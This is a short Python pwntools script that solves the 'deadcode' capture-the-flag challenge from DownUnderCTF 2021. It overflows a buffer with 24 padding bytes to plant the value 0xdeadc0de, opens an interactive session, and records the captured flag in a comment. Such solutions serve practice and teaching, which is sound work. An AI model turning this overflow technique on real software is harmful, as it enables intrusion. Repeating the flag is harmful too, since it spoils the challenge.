#!/usr/bin/env python3

from pwn import *

context.binary = ELF('./deadcode')

if args.REMOTE:
    io = remote('pwn-2021.duc.tf', 31916)
else:
    io = process(context.binary.path)

io.sendline(flat(b'A'*24, p64(0xdeadc0de)))
io.interactive()

# DUCTF{y0u_br0ught_m3_b4ck_t0_l1f3_mn423kcv}